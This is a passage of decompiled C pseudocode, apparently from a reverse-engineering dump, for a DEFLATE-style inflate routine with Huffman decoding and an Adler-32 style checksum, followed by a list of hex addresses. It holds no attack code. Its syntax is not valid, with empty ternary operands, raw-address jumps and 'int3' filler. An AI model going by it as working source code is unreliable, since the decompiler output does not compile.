													L87:
													__eflags = _t847 -  *(_t1065 - 0x20);
													if(_t847 >=  *(_t1065 - 0x20)) {
														break;
													}
													L88:
													_t618 = ( *_t847 & 0x000000ff) << _t1050;
													_t847 = _t847 + 1;
													_t968 = _t968 | _t618;
													 *(_t1065 - 0x18) = _t847;
													_t1050 = _t1050 + 8;
													 *(_t1065 - 4) = _t968;
													__eflags = _t1050 - 3;
													if(_t1050 < 3) {
														continue;
													} else {
														goto L89;
													}
													goto L295;
												}
												L241:
												 *_t1030 = 3;
												L285:
												__eflags =  *(_t1065 + 0x18) & 0x00000002;
												L286:
												L287:
												_t628 =  !=  ? 1 : _t618;
												 *(_t1065 - 0xc) = _t628;
												__eflags = _t628 - 1;
												if(_t628 != 1) {
													L288:
													__eflags = _t628 - 0xfffffffc;
													if(_t628 != 0xfffffffc) {
														L289:
														L292:
														_t673 =  *(_t1065 - 0x3c);
														__eflags = _t847 - _t673;
														if(_t847 > _t673) {
															while(1) {
																L293:
																__eflags = _t1050 - 8;
																if(_t1050 < 8) {
																	goto L295;
																}
																L294:
																_t847 = _t847 - 1;
																_t1050 = _t1050 - 8;
																__eflags = _t847 - _t673;
																if(_t847 > _t673) {
																	continue;
																}
																goto L295;
															}
														}
													}
												}
											}
											goto L295;
										}
										L252:
										_t618 = _t1050 & 0x00000007;
										__eflags = _t1050 - _t618;
										if(_t1050 >= _t618) {
											L256:
											_t688 =  *(_t1065 - 0x3c);
											_t894 = _t1050 & 0x00000007;
											_t994 = _t968 >> _t894;
											_t1050 = _t1050 - _t894;
											 *(_t1065 - 4) = _t994;
											__eflags = _t847 - _t688;
											if(_t847 > _t688) {
												while(1) {
													L257:
													__eflags = _t1050 - 8;
													if(_t1050 < 8) {
														goto L259;
													}
													L258:
													_t847 = _t847 - 1;
													_t1050 = _t1050 - 8;
													__eflags = _t847 - _t688;
													if(_t847 > _t688) {
														continue;
													}
													goto L259;
												}
											}
											L259:
											L260:
											_t618 = _t1050;
											asm("bts edx, eax");
											__eflags = _t618 - 0x20;
											_t896 =  >=  ? _t994 : 0;
											_t995 = _t994 ^ _t896;
											__eflags = _t618 - 0x40;
											_t897 =  >=  ? _t995 : _t896;
											 *(_t1065 - 4) =  *(_t1065 - 4) & _t995 - 0x00000001;
											__eflags =  *(_t1065 + 0x18) & 0x00000001;
											if(( *(_t1065 + 0x18) & 0x00000001) == 0) {
												L290:
												_t689 = 0;
												__eflags = 0;
												 *_t1030 = 0x22;
												L291:
												 *(_t1065 - 0xc) = _t689;
												goto L292;
											} else {
												L261:
												_t898 = 0;
												while(1) {
													L277:
													 *(_t1065 - 8) = _t898;
													__eflags = _t898 - 4;
													if(_t898 >= 4) {
														goto L290;
													}
													L278:
													__eflags = _t1050;
													if(_t1050 != 0) {
														L281:
														_t997 =  *(_t1065 - 4);
														__eflags = _t1050 - 8;
														if(_t1050 >= 8) {
															L275:
															_t690 = _t997 & 0x000000ff;
															_t1050 = _t1050 - 8;
															__eflags = _t1050;
															 *(_t1065 - 4) = _t997 >> 8;
															goto L276;
														} else {
															L282:
															while(1) {
																L272:
																__eflags = _t847 -  *(_t1065 - 0x20);
																if(_t847 >=  *(_t1065 - 0x20)) {
																	break;
																}
																L273:
																_t618 = ( *_t847 & 0x000000ff) << _t1050;
																_t1050 = _t1050 + 8;
																_t997 = _t997 | _t618;
																_t847 = _t847 + 1;
																 *(_t1065 - 4) = _t997;
																__eflags = _t1050 - 8;
																if(_t1050 < 8) {
																	continue;
																} else {
																	L274:
																	_t898 =  *(_t1065 - 8);
																	goto L275;
																}
																goto L295;
															}
															L284:
															 *_t1030 = 0x29;
															goto L285;
														}
													} else {
														L279:
														__eflags = _t847 -  *(_t1065 - 0x20);
														if(_t847 >=  *(_t1065 - 0x20)) {
															L283:
															 *_t1030 = 0x2a;
															goto L285;
														} else {
															L280:
															_t690 =  *_t847 & 0x000000ff;
															_t847 = _t847 + 1;
															L276:
															 *(_t1065 - 0x24) = _t690;
															_t618 =  *(_t1030 + 0x10) << 0x00000008 |  *(_t1065 - 0x24);
															_t898 = _t898 + 1;
															__eflags = _t898;
															 *(_t1030 + 0x10) = _t618;
															continue;
														}
													}
													goto L295;
												}
												goto L290;
											}
										} else {
											L253:
											while(1) {
												L254:
												__eflags = _t847 -  *(_t1065 - 0x20);
												if(_t847 >=  *(_t1065 - 0x20)) {
													break;
												}
												L255:
												_t695 = ( *_t847 & 0x000000ff) << _t1050;
												_t1050 = _t1050 + 8;
												_t968 = _t968 | _t695;
												_t847 = _t847 + 1;
												 *(_t1065 - 4) = _t968;
												_t618 = _t1050 & 0x00000007;
												__eflags = _t1050 - _t618;
												if(_t1050 < _t618) {
													continue;
												} else {
													goto L256;
												}
												goto L295;
											}
											L271:
											 *_t1030 = 0x20;
											goto L285;
										}
									}
								} else {
									L49:
									__eflags = _t1050 - 0xf;
									if(_t1050 < 0xf) {
										_t1021 =  *(_t847 + 1) & 0x000000ff;
										_t861 = _t1050;
										_t732 =  *_t847 & 0x000000ff;
										_t847 = _t847 + 2;
										_t1030 =  *(_t1065 - 0x14);
										 *(_t1065 - 0x18) = _t847;
										 *(_t1065 - 4) =  *(_t1065 - 4) | (_t1021 << 0x00000008 | _t732) << _t861;
										_t1050 = _t1050 + 0x10;
										__eflags = _t1050;
										_t968 =  *(_t1065 - 4);
									}
									_t725 =  *((short*)(_t1030 + 0x160 + (_t968 & 0x000003ff) * 2));
									 *(_t1065 - 0x1c) = _t725;
									__eflags = _t725;
									if(_t725 < 0) {
										L53:
										goto 0x331472;
										asm("int3");
										asm("int3");
										asm("int3");
										do {
											L54:
											_t727 = _t968 >> _t861;
											_t861 = _t861 + 1;
											_t847 =  *((short*)(_t1030 + 0x960 + ((_t727 & 0x00000001) +  !_t847) * 2));
											__eflags = _t847;
										} while (_t847 < 0);
										 *(_t1065 - 0x1c) = _t847;
										_t847 =  *(_t1065 - 0x18);
									} else {
										L52:
										_t861 = _t725 >> 9;
									}
									L56:
									_t618 =  *(_t1065 - 8);
									_t1050 = _t1050 - _t861;
									_t968 = _t968 >> _t861;
									 *(_t1065 - 4) = _t968;
									 *( *(_t1065 - 0x10)) = _t618;
									_t861 =  *(_t1065 - 0x1c);
									__eflags = _t861 & 0x00000100;
									if((_t861 & 0x00000100) != 0) {
										L83:
										_t171 = _t1065 - 0x10;
										 *_t171 =  *(_t1065 - 0x10) + 1;
										__eflags =  *_t171;
										goto L84;
									} else {
										L57:
										_t730 =  *(_t1065 - 0x10);
										 *(_t730 + 1) = _t861;
										 *(_t1065 - 0x10) = _t730 + 2;
										continue;
										do {
											do {
												while(1) {
													L39:
													_t860 =  *(_t1065 - 0x20) - _t847;
													__eflags = _t860 - 4;
													if(_t860 < 4) {
														goto L58;
													}
													goto L40;
												}
												L26:
												__eflags = _t870;
											} while (_t870 == 0);
											goto 0x33140c;
											asm("int3");
											_t734 =  *_t740;
											 *_t1030 = _t734;
											_t1030 =  *(_t1065 - 0x14);
											__eflags = _t870 - 1;
											if(_t870 > 1) {
												L29:
												L36:
												goto 0x331448;
												asm("int3");
												 *(_t968 + 1) =  *((intOrPtr*)(_t734 + 1));
												_t968 =  *(_t1065 - 4);
											}
											L38:
											_t86 = _t1065 - 0x10;
											 *_t86 =  *(_t1065 - 0x10) + _t870;
											__eflags =  *_t86;
											while(1) {
												L39:
												_t860 =  *(_t1065 - 0x20) - _t847;
												__eflags = _t860 - 4;
												if(_t860 < 4) {
													goto L58;
												}
												goto L40;
											}
											L33:
											 *(_t1065 - 0x10) = _t1030;
											_t1030 =  *(_t1065 - 0x14);
											 *(_t1065 - 0xc) = _t968;
											_t968 =  *(_t1065 - 4);
											 *(_t1065 - 8) = _t870;
											__eflags = _t870;
										} while (_t870 <= 0);
										goto 0x331434;
										asm("int3");
										_t734 =  *_t624;
										 *_t1030 = _t734;
										_t1030 =  *(_t1065 - 0x14);
										__eflags = _t870 - 1;
										if(_t870 > 1) {
											goto L36;
										}
										goto L38;
									}
								}
							}
							L295:
							_t972 =  *(_t1065 - 4);
							L296:
							 *(_t1030 + 4) = _t1050;
							asm("bts ecx, esi");
							__eflags = _t1050 - 0x20;
							_t630 =  >=  ? 0 : 0;
							_t874 = 0 ^ _t630;
							__eflags = _t1050 - 0x40;
							_t631 =  >=  ? _t874 : _t630;
							 *(_t1030 + 0x20) =  *(_t1065 - 0x28);
							_t974 =  *(_t1065 - 0x10) -  *(_t1065 + 0x10);
							__eflags =  *(_t1065 + 0x18) & 0x00000009;
							 *(_t1030 + 0x24) =  *(_t1065 - 8);
							 *(_t1030 + 0x28) =  *(_t1065 - 0x38);
							 *((intOrPtr*)(_t1030 + 0x3c)) =  *((intOrPtr*)(_t1065 - 0x48));
							 *(_t1030 + 0x38) = _t874 - 0x00000001 & _t972;
							 *(_t1065 - 0x10) = _t974;
							 *((intOrPtr*)( *((intOrPtr*)(_t1065 + 8)))) = _t847 -  *(_t1065 - 0x3c);
							_t851 =  *(_t1065 - 0xc);
							 *( *(_t1065 + 0x14)) = _t974;
							if(( *(_t1065 + 0x18) & 0x00000009) != 0) {
								L297:
								__eflags = _t851;
								if(_t851 >= 0) {
									L298:
									_t1052 =  *(_t1030 + 0x1c);
									_t877 = _t1052 & 0x0000ffff;
									_t641 = (0x5e6ea9af * _t974 >> 0x20 >> 0xb) * 0x15b0;
									_t1053 = _t1052 >> 0x10;
									 *(_t1065 - 0x3c) = _t1053;
									_t978 =  *(_t1065 - 0x10) - _t641;
									__eflags =  *(_t1065 - 0x10);
									 *(_t1065 - 0x34) = _t978;
									if( *(_t1065 - 0x10) != 0) {
										L299:
										_t853 = _t978;
										do {
											L300:
											_t979 = 0;
											 *(_t1065 + 0x14) = 0;
											__eflags = _t853 - 7;
											if(_t853 > 7) {
												L301:
												goto 0x3315c6;
												asm("int3");
												asm("int3");
												asm("int3");
												L302:
												_t1033 = _t1030 - _t641;
												__eflags = _t1033;
												do {
													L303:
													_t979 =  &(_t979[2]);
													_t879 = _t877 + ( *_t641 & 0x000000ff);
													_t880 = _t879 + ( *( *(_t1065 + 0x10) + 1) & 0x000000ff);
													_t881 = _t880 + ( *(2 +  *(_t1065 + 0x10)) & 0x000000ff);
													_t882 = _t881 + ( *( *(_t1065 + 0x10) + 3) & 0x000000ff);
													_t883 = _t882 + ( *( *(_t1065 + 0x10) + 4) & 0x000000ff);
													_t884 = _t883 + ( *( *(_t1065 + 0x10) + 5) & 0x000000ff);
													_t885 = _t884 + ( *( *(_t1065 + 0x10) + 6) & 0x000000ff);
													_t877 = _t885 + ( *( *(_t1065 + 0x10) + 7) & 0x000000ff);
													_t671 =  *(_t1065 + 0x10) + 8;
													_t1053 = _t1053 + _t879 + _t880 + _t881 + _t882 + _t883 + _t884 + _t885 + _t877;
													 *(_t1065 + 0x10) = _t671;
													__eflags = _t1033 + _t671 - _t853;
													_t641 =  *(_t1065 + 0x10);
												} while (_t1033 + _t671 < _t853);
												 *(_t1065 + 0x14) = _t979;
												 *(_t1065 - 0x3c) = _t1053;
											}
											L305:
											_t1030 = 0;
											 *((intOrPtr*)(_t1065 + 8)) = 0;
											__eflags = _t979 - _t853;
											if(_t979 < _t853) {
												L306:
												__eflags = _t853 - _t979 - 2;
												if(_t853 - _t979 >= 2) {
													L307:
													_t651 =  *(_t1065 + 0x14);
													_t1056 =  *(_t1065 + 0x10);
													_t854 = 0;
													_t990 = (_t853 - _t651 - 2 >> 1) + 1;
													__eflags = _t990;
													 *(_t1065 + 0x14) = _t651 + _t990 * 2;
													do {
														L308:
														_t878 = _t877 + ( *_t1056 & 0x000000ff);
														_t654 =  *(_t1056 + 1) & 0x000000ff;
														_t1030 = _t1030 + _t878;
														_t1056 = 2 + _t1056;
														_t877 = _t878 + _t654;
														_t854 = _t854 + _t877;
														_t990 = _t990 - 1;
														__eflags = _t990;
													} while (_t990 != 0);
													_t979 =  *(_t1065 + 0x14);
													 *(_t1065 + 0x10) = _t1056;
													_t1053 =  *(_t1065 - 0x3c);
													 *((intOrPtr*)(_t1065 + 8)) = _t854;
													_t853 =  *(_t1065 - 0x34);
												}
												L310:
												__eflags = _t979 - _t853;
												if(_t979 < _t853) {
													_t984 =  *(_t1065 + 0x10);
													_t877 = _t877 + ( *_t984 & 0x000000ff);
													_t1053 = _t1053 + _t877;
													_t985 =  &(_t984[1]);
													__eflags = _t985;
													 *(_t1065 + 0x10) = _t985;
												}
												L312:
												_t641 =  *((intOrPtr*)(_t1065 + 8)) + _t1030;
												_t1053 = _t1053 + _t641;
												__eflags = _t1053;
											}
											L313:
											L314:
											_t877 = _t877 + (_t641 * _t877 >> 0x20 >> 0xf) * 0xffff000f;
											_t641 = (0x80078071 * _t1053 >> 0x20 >> 0xf) * 0xffff000f;
											_t1053 = _t1053 + _t641;
											_t586 = _t1065 - 0x10;
											 *_t586 =  *(_t1065 - 0x10) - _t853;
											__eflags =  *_t586;
											_t853 = 0x15b0;
											 *(_t1065 - 0x3c) = _t1053;
											 *(_t1065 - 0x34) = 0x15b0;
										} while ( *_t586 != 0);
										goto 0x3315ef;
										asm("int3");
									}
									L316:
									_t1055 = (_t1053 << 0x10) + _t877;
									 *(_t1030 + 0x1c) = _t1055;
									__eflags = _t851;
									if(_t851 == 0) {
										__eflags =  *(_t1065 + 0x18) & 0x00000001;
										if(( *(_t1065 + 0x18) & 0x00000001) != 0) {
											__eflags = _t1055 -  *(_t1030 + 0x10);
											_t851 =  !=  ? 0xfffffffe : _t851;
											__eflags = _t851;
										}
									}
								}
							}
							L319:
							return _t851;
							L320:
							L58:
							__eflags = _t1050 - 0xf;
							if(_t1050 >= 0xf) {
								L75:
								_t603 =  *((short*)(_t1030 + 0x160 + (_t968 & 0x000003ff) * 2));
								 *(_t1065 - 8) = _t603;
								__eflags = _t603;
								if(_t603 < 0) {
									L77:
									goto 0x33149b;
									asm("int3");
									asm("int3");
									asm("int3");
									do {
										L78:
										_t605 = _t968 >> _t860;
										_t860 = _t860 + 1;
										_t847 =  *((short*)(_t1030 + 0x960 + ((_t605 & 0x00000001) +  !_t847) * 2));
										__eflags = _t847;
									} while (_t847 < 0);
									 *(_t1065 - 8) = _t847;
									_t847 =  *(_t1065 - 0x18);
								} else {
									L76:
									_t860 = _t603 >> 9;
									_t618 = _t603 & 0x000001ff;
									 *(_t1065 - 8) = _t618;
								}
								L80:
								_t968 = _t968 >> _t860;
								_t1050 = _t1050 - _t860;
								_t861 =  *(_t1065 - 8);
								 *(_t1065 - 4) = _t968;
								__eflags = _t861 - 0x100;
								if(_t861 >= 0x100) {
									goto L84;
								} else {
									L81:
									_t769 =  *(_t1065 - 0x10);
									__eflags = _t769 -  *((intOrPtr*)(_t1065 - 0x40));
									if(_t769 >=  *((intOrPtr*)(_t1065 - 0x40))) {
										L240:
										 *(_t1065 - 0xc) = 2;
										 *_t1030 = 0x18;
										goto L292;
									} else {
										L82:
										 *_t769 = _t861;
										 *(_t1065 - 0x10) = _t769 + 1;
										continue;
									}
								}
							} else {
								L59:
								__eflags = _t860 - 2;
								if(_t860 >= 2) {
									L73:
									_t969 =  *(_t847 + 1) & 0x000000ff;
									_t625 =  *_t847 & 0x000000ff;
									_t847 = _t847 + 2;
									_t860 = _t1050;
									 *(_t1065 - 0x18) = _t847;
									 *(_t1065 - 4) =  *(_t1065 - 4) | _t969 << _t1050 + 0x00000008 | _t625 << _t860;
									_t1050 = _t1050 + 0x10;
									__eflags = _t1050;
									_t968 =  *(_t1065 - 4);
									goto L74;
								} else {
									do {
										L60:
										_t618 = _t968 & 0x000003ff;
										_t1031 =  *((short*)(_t1030 + 0x160 + _t618 * 2));
										__eflags = _t1031;
										if(_t1031 < 0) {
											L64:
											__eflags = _t1050 - 0xa;
											if(_t1050 <= 0xa) {
												goto L69;
											} else {
												L65:
												 *(_t1065 - 0x1c) = _t860;
												while(1) {
													L67:
													_t1031 =  *((short*)( *(_t1065 - 0x14) + 0x960 + ((_t968 >> _t860 & 0x00000001) +  !_t1031) * 2));
													_t860 =  *(_t1065 - 0x1c) + 1;
													 *(_t1065 - 0x1c) = _t860;
													__eflags = _t1031;
													if(_t1031 >= 0) {
														goto L74;
													}
													L68:
													_t618 = _t860 + 1;
													__eflags = _t1050 - _t618;
													if(_t1050 >= _t618) {
														continue;
													} else {
														goto L69;
													}
													goto L295;
												}
												goto L74;
											}
										} else {
											L61:
											_t1035 = _t1031 >> 9;
											__eflags = _t1035;
											if(_t1035 == 0) {
												L69:
												_t1030 =  *(_t1065 - 0x14);
												L70:
												__eflags = _t847 -  *(_t1065 - 0x20);
												if(_t847 >=  *(_t1065 - 0x20)) {
													L239:
													 *_t1030 = 0x17;
													goto L285;
												} else {
													goto L71;
												}
											} else {
												L62:
												__eflags = _t1050 - _t1035;
												if(_t1050 >= _t1035) {
													L74:
													_t1030 =  *(_t1065 - 0x14);
													goto L75;
												} else {
													L63:
													goto L69;
												}
											}
										}
										goto L295;
										L71:
										_t860 = _t1050;
										_t675 = ( *_t847 & 0x000000ff) << _t860;
										_t847 = _t847 + 1;
										_t968 = _t968 | _t675;
										 *(_t1065 - 0x18) = _t847;
										_t1050 = _t1050 + 8;
										 *(_t1065 - 4) = _t968;
										__eflags = _t1050 - 0xf;
									} while (_t1050 < 0xf);
									goto L75;
								}
							}
							goto L295;
						}
					}
					L142:
					 *(_t1065 - 0xc) = 0x40 + _t600 * 0xda0 + _t1030;
					memset(_t1065 - 0xd0, 0, 0x40);
					memset( *(_t1065 - 0xc) + 0x120, 0, 0x800);
					memset( *(_t1065 - 0xc) + 0x920, 0, 0x480);
					_t903 = 0;
					_t1068 = _t1068 + 0x24;
					_t1003 = _t1030 + ( *(_t1030 + 0x18) + 0xb) * 4;
					 *(_t1065 - 0x44) = _t1003;
					if( *_t1003 > 0) {
						L143:
						_t1030 =  *(_t1065 - 0xc);
						do {
							L144:
							_t845 =  *(_t903 + _t1030) & 0x000000ff;
							_t903 = _t903 + 1;
							 *((intOrPtr*)(_t1065 + _t845 * 4 - 0xd0)) =  *((intOrPtr*)(_t1065 + _t845 * 4 - 0xd0)) + 1;
						} while (_t903 <  *_t1003);
					}
					L145:
					goto 0x331500;
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					L146:
					 *(_t1065 - 0x8c) = _t903;
					 *(_t1065 - 0x90) = _t903;
					 *(_t1065 - 0x2c) = _t903;
					 *(_t1065 - 0x30) = _t903;
					do {
						L147:
						_t782 =  *((intOrPtr*)(_t1065 + _t1003 - 0xd4));
						_t905 = _t903 + _t782 + _t903 + _t782;
						_t1030 = _t1030 + _t782;
						_t783 =  *((intOrPtr*)(_t1065 + _t1003 - 0xd0));
						 *(_t1065 - 0x30) =  *(_t1065 - 0x30) + _t783;
						 *((intOrPtr*)(_t1065 + _t1003 - 0x90)) = _t905;
						_t784 =  *((intOrPtr*)(_t1065 + _t1003 - 0xcc));
						_t907 = _t905 + _t783 + _t905 + _t783;
						 *(_t1065 - 0x2c) =  *(_t1065 - 0x2c) + _t784;
						 *((intOrPtr*)(_t1065 + _t1003 - 0x8c)) = _t907;
						_t903 = _t907 + _t784 + _t907 + _t784;
						 *(_t1065 + _t1003 - 0x88) = _t903;
						_t1003 = _t1003 + 0xc;
					} while (_t1003 <= 0x40);
					 *(_t1065 - 0x4c) = _t903;
					 *(_t1065 - 0x24) = _t1030;
					_t1030 =  *(_t1065 - 0x14);
					_t910 =  *(_t1065 - 0x24) +  *(_t1065 - 0x2c) +  *(_t1065 - 0x30);
					if( *(_t1065 - 0x4c) == 0x10000 || _t910 <= 1) {
						L150:
						_t787 =  *(_t1065 - 0x44);
						 *(_t1065 - 0x30) = 0xffffffff;
						 *(_t1065 - 0x4c) = 0;
						if( *_t787 > 0) {
							L151:
							_t1064 =  *(_t1065 - 0x4c);
							do {
								L152:
								L153:
								_t922 =  *(_t1064 + _t787) & 0x000000ff;
								 *(_t1065 - 0x44) = _t922;
								if(_t922 != 0) {
									L154:
									_t824 =  *(_t1065 + _t922 * 4 - 0x90);
									 *(_t1065 - 0x2c) = _t824;
									 *(_t1065 + _t922 * 4 - 0x90) = _t824 + 1;
									 *(_t1065 - 0x24) = _t922;
									if(_t922 != 0) {
										L155:
										do {
											L156:
											 *(_t1065 - 0x2c) =  *(_t1065 - 0x2c) >> 1;
											_t844 =  *(_t1065 - 0x24) - 1;
											_t1003 = _t1003 + _t1003 |  *(_t1065 - 0x2c) & 0x00000001;
											 *(_t1065 - 0x24) = _t844;
										} while (_t844 != 0);
										_t922 =  *(_t1065 - 0x44);
									}
									L158:
									if(_t922 > 0xa) {
										L164:
										_t828 =  *(_t1065 - 0xc) + 0x120 + (_t1003 & 0x000003ff) * 2;
										_t847 =  *(_t1065 - 0x30);
										 *(_t1065 - 0x44) = _t828;
										_t829 =  *_t828;
										 *(_t1065 - 0x2c) = _t829;
										__eflags = _t829;
										if(_t829 == 0) {
											 *( *(_t1065 - 0x44)) = _t847;
											_t829 = _t847;
											_t847 = _t847 - 2;
											__eflags = _t847;
											 *(_t1065 - 0x2c) = _t829;
											 *(_t1065 - 0x30) = _t847;
										}
										L166:
										_t1011 = _t1003 >> 9;
										__eflags = _t922 - 0xb;
										if(_t922 > 0xb) {
											L167:
											_t923 = _t922 + 0xfffffff5;
											__eflags = _t923;
											 *(_t1065 - 0x24) = _t923;
											_t924 =  *(_t1065 - 0x2c);
											do {
												L168:
												_t1011 = _t1011 >> 1;
												_t834 = 0x48f - _t924 - (_t1011 & 0x00000001);
												_t927 =  *( *(_t1065 - 0xc) + 0x91e) & 0x0000ffff;
												__eflags = _t927;
												if(_t927 != 0) {
													_t924 = _t927;
												} else {
													 *( *(_t1065 - 0xc) + _t834 * 2) = _t847;
													_t835 =  *(_t1065 - 0x30);
													_t924 = _t835;
													_t836 = _t835 - 2;
													 *(_t1065 - 0x30) = _t836;
													_t847 = _t836;
												}
												L171:
												_t361 = _t1065 - 0x24;
												 *_t361 =  *(_t1065 - 0x24) - 1;
												__eflags =  *_t361;
											} while ( *_t361 != 0);
											 *(_t1065 - 0x2c) = _t924;
											_t829 = _t924;
										}
										L173:
										_t1003 = (_t1011 >> 0x00000001 & 0x00000001) - _t829;
										__eflags = _t1003;
										 *( *(_t1065 - 0xc) + 0x91e + _t1003 * 2) = _t1064;
									} else {
										L159:
										_t841 = (_t922 << 0x00000009 | _t1064) & 0x0000ffff;
										 *(_t1065 - 0x44) = _t841;
										if(_t1003 < 0x400) {
											L160:
											goto 0x33152a;
											asm("int3");
											asm("int3");
											asm("int3");
											L161:
											_t842 = _t841 << _t922;
											 *(_t1065 - 0x4c) = _t842 + _t842;
											_t932 =  *(_t1065 - 0xc) + _t1003 * 2 + 0x120;
											do {
												L162:
												 *_t932 = _t1030;
												_t1003 = _t1003 + _t842;
												_t932 =  &(_t932[ *(_t1065 - 0x4c)]);
											} while (_t1003 < 0x400);
											_t1030 =  *(_t1065 - 0x14);
										}
									}
								}
								L174:
								_t787 =  *(_t1030 + 0x18);
								_t1064 = _t1064 + 1;
							} while (_t1064 <  *((intOrPtr*)(_t1030 + 0x2c + _t787 * 4)));
							goto 0x331540;
							asm("int3");
						}
						L176:
						if( *(_t1030 + 0x18) != 2) {
							L217:
							 *(_t1030 + 0x18) =  *(_t1030 + 0x18) - 1;
							goto L141;
						} else {
							L177:
							_t911 = 0;
							while(1) {
								L178:
								_t1004 =  *(_t1065 - 4);
								while(1) {
									L179:
									 *(_t1065 - 8) = _t911;
									if(_t911 >=  *(_t1030 + 0x30) +  *(_t1030 + 0x2c)) {
										break;
									}
									L180:
									if(_t1064 >= 0xf) {
										L197:
										_t802 =  *((short*)(_t1030 + 0x1ca0 + (_t1004 & 0x000003ff) * 2));
										 *(_t1065 - 0x28) = _t802;
										if(_t802 < 0) {
											L199:
											L200:
											do {
												L201:
												 *(_t1065 - 0x28) =  !( *(_t1065 - 0x28));
												_t804 = _t1004 >> _t911;
												_t911 = _t911 + 1;
												_t618 =  *((short*)(_t1030 + 0x24a0 + ((_t804 & 0x00000001) +  *(_t1065 - 0x28)) * 2));
												 *(_t1065 - 0x28) = _t618;
												__eflags = _t618;
											} while (__eflags < 0);
										} else {
											L198:
											_t911 = _t802 >> 9;
											_t618 = _t802 & 0x000001ff;
											 *(_t1065 - 0x28) = _t618;
										}
										L202:
										_t1004 = _t1004 >> _t911;
										_t1050 = _t1064 - _t911;
										 *(_t1065 - 4) = _t1004;
										 *(_t1065 - 0x1c) = _t1050;
										if(_t618 >= 0x10) {
											L204:
											if(__eflags != 0) {
												L207:
												_t912 =  *((char*)(_t618 + 0x31eff0));
												 *(_t1065 - 0x38) = _t912;
												__eflags = _t1050 - _t912;
												if(_t1050 >= _t912) {
													L211:
													_t1050 = _t1050 - _t912;
													 *(_t1065 - 0x1c) = _t1050;
													_t913 =  *(_t1065 - 0x14);
													_t1046 = ((0x00000001 << _t912) - 0x00000001 & _t1004) +  *((char*)(_t618 + 0x31eff8));
													__eflags =  *(_t1065 - 0x28) - 0x10;
													_t808 =  *(_t1065 - 8);
													 *(_t1065 - 4) = _t1004 >> _t912;
													if(__eflags != 0) {
														_t1007 = 0;
														__eflags = 0;
													} else {
														_t1007 =  *(_t808 + _t913 + 0x2923) & 0x000000ff;
													}
													L214:
													memset(_t808 + _t913 + 0x2924, _t1007, _t1046);
													_t1068 = _t1068 + 0xc;
													_t911 =  *(_t1065 - 8) + _t1046;
													_t1030 =  *(_t1065 - 0x14);
													L178:
													_t1004 =  *(_t1065 - 4);
													continue;
												} else {
													while(1) {
														L208:
														__eflags = _t847 -  *(_t1065 - 0x20);
														if(_t847 >=  *(_t1065 - 0x20)) {
															break;
														}
														L209:
														_t618 = ( *_t847 & 0x000000ff) << _t1050;
														_t847 = _t847 + 1;
														_t912 =  *(_t1065 - 0x38);
														_t1004 = _t1004 | _t618;
														_t1050 = _t1050 + 8;
														 *(_t1065 - 0x18) = _t847;
														 *(_t1065 - 4) = _t1004;
														__eflags = _t1050 - _t912;
														if(_t1050 < _t912) {
															continue;
														} else {
															L210:
															_t618 =  *(_t1065 - 0x28);
															goto L211;
														}
														goto L295;
													}
													L251:
													 *_t1030 = 0x12;
													goto L285;
												}
											} else {
												L205:
												_t812 =  *(_t1065 - 8);
												__eflags = _t812;
												if(_t812 == 0) {
													L268:
													_t689 = _t812 | 0xffffffff;
													 *_t1030 = 0x11;
													goto L291;
												} else {
													L206:
													_t618 =  *(_t1065 - 0x28);
													goto L207;
												}
											}
										} else {
											L203:
											_t917 =  *(_t1065 - 8);
											 *(_t1030 + 0x2924 + _t917) = _t618;
											_t911 = _t917 + 1;
											continue;
										}
									} else {
										L181:
										if( *(_t1065 - 0x20) - _t847 >= 2) {
											L195:
											_t1008 =  *(_t847 + 1) & 0x000000ff;
											_t815 =  *_t847 & 0x000000ff;
											_t847 = _t847 + 2;
											_t911 = _t1064;
											 *(_t1065 - 0x18) = _t847;
											 *(_t1065 - 4) =  *(_t1065 - 4) | _t1008 << _t1064 + 0x00000008 | _t815 << _t911;
											_t1064 = _t1064 + 0x10;
											__eflags = _t1064;
											_t1004 =  *(_t1065 - 4);
											goto L196;
										} else {
											do {
												L182:
												_t618 = _t1004 & 0x000003ff;
												_t1047 =  *((short*)(_t1030 + 0x1ca0 + _t618 * 2));
												if(_t1047 < 0) {
													L186:
													__eflags = _t1064 - 0xa;
													if(__eflags <= 0) {
														goto L191;
													} else {
														L187:
														L188:
														 *(_t1065 - 0x24) = _t911;
														while(1) {
															L189:
															_t1047 =  *((short*)( *(_t1065 - 0x14) + 0x24a0 + ((_t1004 >> _t911 & 0x00000001) +  !_t1047) * 2));
															_t911 =  *(_t1065 - 0x24) + 1;
															 *(_t1065 - 0x24) = _t911;
															__eflags = _t1047;
															if(__eflags >= 0) {
																goto L196;
															}
															L190:
															_t618 = _t911 + 1;
															__eflags = _t1064 - _t618;
															if(__eflags >= 0) {
																continue;
															} else {
																goto L191;
															}
															goto L295;
														}
														goto L196;
													}
												} else {
													L183:
													_t1049 = _t1047 >> 9;
													if(_t1049 == 0) {
														L191:
														_t1030 =  *(_t1065 - 0x14);
														L192:
														if(_t847 >=  *(_t1065 - 0x20)) {
															L250:
															 *_t1030 = 0x10;
															goto L285;
														} else {
															goto L193;
														}
													} else {
														L184:
														if(_t1064 >= _t1049) {
															L196:
															_t1030 =  *(_t1065 - 0x14);
															goto L197;
														} else {
															L185:
															goto L191;
														}
													}
												}
												goto L295;
												L193:
												_t911 = _t1064;
												_t819 = ( *_t847 & 0x000000ff) << _t911;
												_t847 = _t847 + 1;
												_t1004 = _t1004 | _t819;
												 *(_t1065 - 0x18) = _t847;
												_t1064 = _t1064 + 8;
												 *(_t1065 - 4) = _t1004;
											} while (_t1064 < 0xf);
											goto L197;
										}
									}
									goto L295;
								}
								L215:
								_t1005 =  *(_t1030 + 0x2c);
								_t791 =  *(_t1030 + 0x30) + _t1005;
								__eflags = _t791 - _t911;
								if(_t791 != _t911) {
									L269:
									_t689 = _t791 | 0xffffffff;
									 *_t1030 = 0x15;
									goto L291;
								} else {
									L216:
									memcpy(_t1030 + 0x40, _t1030 + 0x2924, _t1005);
									_t797 =  *(_t1030 + 0x2c) + 0x2924 + _t1030;
									__eflags = _t797;
									memcpy(_t1030 + 0xde0, _t797,  *(_t1030 + 0x30));
									_t1068 = _t1068 + 0x18;
									goto L217;
								}
								goto L295;
							}
						}
					} else {
						L267:
						 *(_t1065 - 0xc) = 0xffffffff;
						 *_t1030 = 0x23;
						goto L292;
					}
					goto L295;
				}
			}

0x00315d95
0x00315d95
0x00315d95
0x00315d96
0x00315d98
0x00315d9a
0x00315d9c
0x00315d9d
0x00315d9f
0x00315da1
0x00315da8
0x00315dae
0x00315db6
0x00315db9
0x00315dbe
0x00315dc3
0x00315dc8
